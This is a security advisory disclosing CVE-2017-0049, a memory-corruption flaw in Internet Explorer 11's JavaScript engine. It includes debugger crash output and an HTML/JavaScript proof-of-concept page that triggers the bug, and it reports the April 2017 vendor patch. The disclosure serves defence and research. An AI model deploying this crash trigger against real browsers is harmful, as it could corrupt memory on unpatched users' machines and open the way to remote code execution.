security-assessment.com

Vulnerability Advisory

Name	Microsoft Internet Explorer 'TryGetProperty' Memory Corruption Vulnerability
CVE	CVE-2017-0049
Vendor Website	http://www.microsoft.com/
Date Released	03/04/2017
Affected Software	Microsoft Internet Explorer 11
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in the Microsoft Internet Explorer JavaScript engine which could allow a malicious user to remotely execute arbitrary code on a vulnerable user's machine, in the context of the current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

```
(1180.5c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0004320d ebx=0235ba60 ecx=00043195 edx=000003ba esi=026890b8 edi=00000002
eip=5e9f4377 esp=028db11c ebp=028db134 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
jscript9!Js::TypePropertyCache::TryGetProperty<0,Js::InlineCache>+0x18:
5e9f4377 395004          cmp     dword ptr [eax+4],edx ds:0023:00043211=????????
1:018> k
ChildEBP RetAddr
028db134 5e9f425c jscript9!Js::TypePropertyCache::TryGetProperty<0,Js::InlineCache>+0x18
028db1c8 5e9f416e jscript9!Js::JavascriptOperators::PatchGetPropertyScoped<Js::InlineCache>+0x9a
028db1f8 5e9f4106
jscript9!Js::InterpreterStackFrame::OP_GetPropertyScoped<Js::OpLayoutElementCP2_OneByte const
>+0x5a
028db498 5e8f99d9 jscript9!Js::InterpreterStackFrame::Process+0x3e25
028db5a8 026b0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
WARNING: Frame IP not in any known module. Following frames may be wrong.
028db5b4 5e9f3573 0x26b0fe1
028db618 5e8f2976 jscript9!Js::GlobalObject::EntryEval+0x1c6
028db668 5eaaf269 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
028db68c 5e9f38a2
jscript9!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutCallI_OneByt
e> >+0x4c
028db6b8 5e9f387b
jscript9!Js::InterpreterStackFrame::OP_ProfileReturnTypeCallCommon<Js::OpLayoutDynamicProfile<Js::OpL
ayoutCallI_OneByte> >+0x1c
028db6d8 5e9f3843
jscript9!Js::InterpreterStackFrame::OP_ProfiledReturnTypeCallI<Js::OpLayoutCallI_OneByte>+0x2b
028db97c 5e94be90 jscript9!Js::InterpreterStackFrame::Process+0x696a
028db9b4 5e94beef jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x49
028dbc58 5e8f99d9 jscript9!Js::InterpreterStackFrame::Process+0x4a29
028dbdbc 026b0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
028dbdc8 5e8f2976 0x26b0fe9
028dbe0c 5e8f3038 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
028dbe80 5e8f2f6d jscript9!Js::JavascriptFunction::CallRootFunction+0xb9
028dbec8 5e8f2f00 jscript9!ScriptSite::CallRootFunction+0x42
028dbf14 5e957387 jscript9!ScriptSite::Execute+0xd2
028dbf9c 5e956517 jscript9!ScriptEngine::ExecutePendingScripts+0x1c6
028dc030 5e957b2a jscript9!ScriptEngine::ParseScriptTextCore+0x300
```

The following proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<html>
<META http-equiv="Expires" content="Tue, 20 Aug 1996 14:25:27 GMT">
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-5">
<body>
<script>function x() { return (yield (x !== x)) ^ x++ } with((({b:  'a' })))({x: ([x, x,x, x, x, x, x, x,
x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,x, x, x, x,
x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,x, x,
x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
x, x, x,x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
x, x, x, x, x,x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x].sort(Uint8Array, eval("s +=
'x';")))});</script>
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch in the April 2017 Security Updates to remedy it. Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com